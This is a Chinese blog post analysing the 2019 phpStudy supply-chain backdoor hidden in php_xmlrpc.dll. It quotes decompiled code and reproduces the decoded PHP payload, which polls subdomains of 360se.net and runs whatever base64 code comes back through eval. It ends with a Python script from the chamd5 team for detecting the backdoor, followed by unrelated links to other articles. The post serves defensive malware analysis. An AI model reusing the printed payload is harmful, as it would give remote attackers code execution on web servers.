2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件   说是官网下的就没有后门

20号出现的新闻 今天phpstudy官网21号又更新一波 不太好说这是什么操作哦 此地无银三百两?

很开心的说 我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件)   用chamd5的检测py

哎~~学个php都被搞哦  跟着大佬团队文章也动手找找后门把

chamd5团队老哥发现是php_xmlrpc.dll中的问题 直接站人家肩膀把  看看这个dll

php_xmlrpc.dll @eval函数

.data:1000DE98

gzuncompress函数解密执行payload 以前webshell大马免杀经常用的函数- -

.data:1000DE98 函数sub_10003490

145-177行:

  1. while ( )
  2. {
  3. if ( *(_DWORD *)v13 == )
  4. {
  5. v10[v12] = ;
  6. v43[v12 + ] = *v11;
  7. v12 += ;
  8. v13 += ;
  9. }
  10. else
  11. {
  12. v10[v12++] = *v11;
  13. v13 += ;
  14. }
  15. v11 += ;
  16. if ( (signed int)v11 >= (signed int)asc_1000C66C )
  17. break;
  18. v10 = v43;
  19. }
  20. spprintf(&v43, , a_evalSS, aGzuncompress, v43);
  21. v24 = *(_DWORD *)(*a3 + * executor_globals_id - );
  22. v25 = *(_DWORD *)(v24 + );
  23. *(_DWORD *)(v24 + ) = &v33;
  24. v40 = v25;
  25. v26 = setjmp3(&v33, );
  26. v27 = v40;
  27. if ( v26 )
  28. {
  29. v28 = a3;
  30. *(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v40;
  31. }
  32. else
  33. {

这里@eval    gzuncompress('%s')进行拼接,调用gzuncompress方法解密执行payload,以前webshell大马免杀经常用的函数,上面也看到了函数地址

而gzuncompress解密前的代码是这里的v43

下面是zend_eval_string处执行v43处gzuncompress编码的代码

  1. }
  2. else
  3. {
  4. v28 = a3;
  5. zend_eval_string(v43, , &byte_10011B34, a3);
  6. }
  7. *(_DWORD *)(*(_DWORD *)(*v28 + * executor_globals_id - ) + ) = v27;
  8. if ( dword_1000C010 < )
  9. dword_1000C010 += ;
  10. ftime(&dword_10011D50);
  11. }

v43处执行的代码通过解码:

  1. @ini_set("display_errors","");
  2. error_reporting();
  3. $h = $_SERVER['HTTP_HOST'];
  4. $p = $_SERVER['SERVER_PORT'];
  5. $fp = fsockopen($h, $p, $errno, $errstr, );
  6. if (!$fp) {
  7. } else {
  8. $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
  9. $out .= "Host: {$h}\r\n";
  10. $out .= "Accept-Encoding: compress,gzip\r\n";
  11. $out .= "Connection: Close\r\n\r\n";
  12.  
  13. fwrite($fp, $out);
  14. fclose($fp);
  15. }

拼接后v43后解密的代码 明显的fsockopen通信 反弹后门到360se.net的20123端口

  1. @ini_set("display_errors","");
  2. error_reporting();
  3. function tcpGet($sendMsg = '', $ip = '360se.net', $port = ''){
  4. $result = "";
  5. $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,);
  6. if( !$handle ){
  7. $handle = fsockopen($ip, intval($port), $errno, $errstr, );
  8. if( !$handle ){
  9. return "err";
  10. }
  11. }
  12. fwrite($handle, $sendMsg."\n");
  13. while(!feof($handle)){
  14. stream_set_timeout($handle, );
  15. $result .= fread($handle, );
  16. $info = stream_get_meta_data($handle);
  17. if ($info['timed_out']) {
  18. break;
  19. }
  20. }
  21. fclose($handle);
  22. return $result;
  23. }
  24.  
  25. $ds = array("www","bbs","cms","down","up","file","ftp");
  26. $ps = array("","","","","");
  27. $n = false;
  28. do {
  29. $n = false;
  30. foreach ($ds as $d){
  31. $b = false;
  32. foreach ($ps as $p){
  33. $result = tcpGet($i,$d.".360se.net",$p);
  34. if ($result != "err"){
  35. $b =true;
  36. break;
  37. }
  38. }
  39. if ($b)break;
  40. }
  41. $info = explode("<^>",$result);
  42. if (count($info)==){
  43. if (strpos($info[],"/*Onemore*/") !== false){
  44. $info[] = str_replace("/*Onemore*/","",$info[]);
  45. $n=true;
  46. }
  47. @eval(base64_decode($info[]));
  48. }
  49. }while($n);

检查脚本 来自chamd5团队脚本,在phpstudy目录下执行即可递归检查

  1. # -*- coding:utf8 -*-
  2. __author__='pcat@chamd5.org'
  3. __blog__='http://pcat.cc'
  4.  
  5. import os
  6. import string
  7. import re
  8.  
  9. def strings(file) :
  10. chars = string.printable[:94]
  11. shortestReturnChar = 4
  12. regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
  13. pattern = re.compile(regExp)
  14. with open(file, 'rb') as f:
  15. return pattern.findall(f.read())
  16.  
  17. def grep(lines,pattern):
  18. for line in lines:
  19. if pattern in line:
  20. yield line
  21.  
  22. def pcheck(filename):
  23. # trojan feature
  24. trojan='@eval'
  25. # just check dll file
  26. if filename.endswith('.dll'):
  27. lines=strings(filename)
  28. try:
  29. grep(lines,trojan).next()
  30. except:
  31. return
  32. print '=== {0} ==='.format(filename)
  33. for line in grep(lines,trojan):
  34. print line
  35. pass
  36.  
  37. def foo():
  38. # . stand for current directory
  39. for path, dirs, files in os.walk(".", topdown=False):
  40. for name in files:
  41. pcheck(os.path.join(path, name))
  42. for name in dirs:
  43. pcheck(os.path.join(path, name))
  44. pass
  45.  
  46. if __name__ == '__main__':
  47. foo()

自己斟酌哦 太菜了呢学个php都给人家当鸡

2019关于phpstudy软件后门简单分析的更多相关文章

  1. 对魔兽世界、支付宝、Linux三类软件的简单分析

    软工第一次作业: 软件有很多种,如工具类软件.游戏类软件.系统类软件,它们的运行方式也各种各样,如以单机方式运行.以网站方式运行或者以APP方式运行在手机端等,请选取三种软件,分析它们各自的特点. 这 ...

  2. phpstudy后门POC分析和EXP开发

    POC 2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被 ...

  3. 一次对php大马的后门的简单分析

    有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次 <?php $password='Shiqi';//登录密码(支持菜刀) //----------功能程序--------- ...

  4. Phpstudy隐藏后门

    Phpstudy隐藏后门 1.事件背景 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimizer多款 ...

  5. CSipSimple 简单分析

    简介 CSipSimple是一款可以在android手机上使用的支持sip的网络电话软件,可以在上面设置使用callda网络电话.连接使用方式最好是使用wifi,或者3g这样上网速度快,打起电话来效果 ...

  6. java 中 “文件” 和 “流” 的简单分析

    java 中 FIle 和 流的简单分析 File类 简单File 常用方法 创建一个File 对象,检验文件是否存在,若不存在就创建,然后对File的类的这部分操作进行演示,如文件的名称.大小等 / ...

  7. Xshell高级后门完整分析报告

    Xshell高级后门完整分析报告 from:https://security.tencent.com/index.php/blog/msg/120 1. 前言 近日,Xshell官方发布公告称其软件中 ...

  8. phpStudy隐藏后门预警

    1.事件背景 近日,使用广泛的PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门,安恒应急响应中心和研究院随即对国内下载站点提供 ...

  9. CVE-2012-1876:Internet Exporter MSHTML.DLL CaculateMinMax 堆溢出简单分析

    0x01 2012 Pwn2Own 黑客大赛 Pwn2Own 是世界上最著名的黑客大赛,意在激励白帽黑客们进行顶尖的安全研究.在 2012 年 Pwn2Own 大赛上,来自法国著名的安全团队 Vupe ...

随机推荐

  1. Android开发学习路线的七个阶段和步骤

    Android开发学习路线的七个阶段和步骤           Android学习参考路线     第一阶段:Java面向对象编程 1.Java基本数据类型与表达式,分支循环. 2.String和St ...

  2. 在一个升序数组中添加最少的数字,使得从1--n之间所有的数都能用数组中几个数的和表示

    一个Java的笔试题上面遇到的题,当时没有做出来. 拆分: 序列升序 1--n所有的数都要能表示 用数组中数字的和表示 添加最少的数字 思路:这个要先从小的数开始表示,因为大的数可以用小数表示. 1- ...

  3. jquery ajax到servlet出现中文乱码(utf-8编码下)

    个人遇到的该问题有两大类: 第一类很普遍,就是jsp页面编码没有规定,servlet中接收参数没有转码,response没有使用setContentType()和setCharacterEncodin ...

  4. CS中委托与事件的使用-以Winform中跨窗体传值为例

    场景 委托(Delegate) 委托是对存有某个方法的引用的一种引用类型变量. 委托特别用于实现事件和回调方法. 声明委托 public delegate int MyDelegate (string ...

  5. C++ 基础中的基础 ---- 引用

    C++ 基础中的基础 ---- 引用 引用的概念:引用变量是一个别名,也就是说,它是某个已存在变量的另一个名字.一旦把引用初始化为某个变量,就可以使用该引用名称或变量名称来指向变量.比如: int n ...

  6. 安全性测试:OWASP ZAP 2.8 使用指南(二):ZAP基础操作

    ZAP桌面应用 ZAP桌面应用由以下元素组成: 1. 菜单栏  – 提供多种自动化和手动工具的访问 2. 工具栏  – 提供快速访问最常用组件的用户接口 3. 树结构窗口  – 展示被测网站树结构和脚 ...

  7. jsp作用域总结

    我们在定义每一个变量,每一个属性的时候,都会考虑这个变量.属性的作用范围,也就是作用域. JSP的四大作用域 作用域对象 作用域范围 page 只在当前页面有效 request 一次请求的生命周期内有 ...

  8. 轻松部署calico

    一.资源 官方文档 https://docs.projectcalico.org/v3.8/getting-started/kubernetes/installation/integration 二. ...

  9. Spring 梳理 - @Component

    使用@Component注解,表示该类定义为Spring管理Bean,使用默认value(可选)属性表示Bean标识符.如果不指定标识符,默认为首字母小写类名.例如类UserController的标识 ...

  10. 读《深入理解Elasticsearch》点滴-过滤器

    1.过滤器不影响文档得分 2.过滤的唯一目的是用特定筛选条件来缩小结果范围:而查询不仅缩小结果范围,还会影响文档的得分 3.过滤器运行更加高效(因为不用计算得分) 4.通常过滤器使用Bits接口,返回 ...